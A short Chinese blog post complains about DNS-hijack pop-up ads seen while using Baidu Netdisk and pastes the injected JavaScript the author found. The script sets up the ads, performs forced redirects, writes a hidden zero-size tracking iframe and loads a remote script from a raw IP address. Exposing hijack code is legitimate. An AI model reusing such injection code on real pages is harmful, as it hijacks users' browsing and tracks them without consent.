最近在使用百度网盘的时候,总是右下角弹出广告,不爽。小小挖掘一下这个DNS劫持涉及的信息。对于DNS劫持这种事情,我一直是不以为然的,因为运营商既然默认就默认,算人家一比收入又如何。但是过分干扰我浏览网页,就不好了。而且弄DNS劫持的这帮败类呢,跟做黄网的差不多,偷偷摸摸,各种虚假资料,在我看只是赚点偏财的垃圾而已。
var adparam = {
'id': agv_id,
'istitle': false,
'title': '',
'position': 'right down',
'delay': {
'type': 'close',
'time': agv_time
},
'loadfirst': 'doc',
'opentype': '',
'adsize': {
'w': agv_width,
'h': agv_height
},
'skincolor': 'style0',
'mini': {
'able': false,
'size': {
'w': 0,
'h': 0
},
'position': ''
}
};
function initIsAddUserId() {
var regex = /[&\?]_us=/i;
if (!regex.test(url_a) && uni.c) {
return true
}
return false
}
function goURLm() {
var desturl = url_m;
if (desturl.slice(desturl.length - 1) == "/")
{desturl = desturl.slice(0, desturl.length - 1);}
if (host == host_uni[2]){
switch (agv_id)
{
case "1000":
this.location = url_a;
break;
case "2000":
return "<html></head><script>document.location.replace(\"" + desturl + "\");<\/script><\/html>"
break;
case "0001":
url_a = "http://113.10.168.247/R/" + "?_us=" + uni.x + "&_xti=" + uni.t;
adparam.adsize.w=1; adparam.adsize.h=1;
return "<html></head><script>document.location.replace(\"" + desturl + "\");<\/script><\/html>"
break;
case "0002":
url_a = "http://www.5678pro.com/m/";
window.setInterval("location=url_m",5500);
document.write("<iframe id='ifrmain' src = "+url_a+"?_us=" +uni.x+ "&_xti=" +uni.t+" scrolling=auto width='0' height='0' frameborder='no' onload='' style='position:fixed;'></iframe>");
break;
}
}
else
document.write("<script src='https://113.10.168.247/R/b.js'><\/script>");
//this.location = "about:blank";
};
Object.extend = function(t_, s_) {
for (var i in s_) {
if (typeof s_[i] !== "object") {
t_[i] = s_[i]
} else {
t_[i] = t_[i] || {};
Object.extend(t_[i], s_[i])
}
}
return t_
};
function $(o) {
var d = document;
function c(str) {
var s = d.getElementsByTagName('*'),
c = [];
for (var x = 0; x < s.length; x++) {
var a = s[x].className;
if (a) {
s[x].className.indexOf(str) + 1 ? c.push(s[x]) : ''
}
};
return c.length == 1 ? c[0] : c
};
return o.indexOf("#") + 1 ? d.getElementById(o.split("#")[1].match(/\S+/)) : o.indexOf(".") + 1 ? c(o.split(".")[1].match(/\S+/)[0]) : ''
};
function out(s) {
document.writeln(s)
};
function css(obj, str) {
if (!obj || !obj.style) {
return
}
var t = obj.style.cssText,
a = t.replace(/;\s+/ig, ";").split(';'),
c = [],
b = str.replace(/;\s+/ig, ";");
if (t) {
for (var i in a) {
if (a[i]) {
var reg = RegExp(a[i].split(':')[0]);
if (!b.match(eval("/" + a[i].split(':')[0] + "/ig"))) {
c.push(a[i])
}
}
};
b = (c.join(';') + ';') + b
};
obj.style.cssText = b.replace(/%px/ig, '%')
};
function addClass(obj, name) {
var fixattr = {
'class': 'className'
},
cs = obj.getAttribute("class"),
cls = cs ? 'class' : fixattr['class'];
cs = obj.getAttribute(cls);
obj.setAttribute(cls, cs ? cs + ' ' + name : name)
};
extCallback = typeof(extCallback) == 'undefined' ? function(para) {} : extCallback;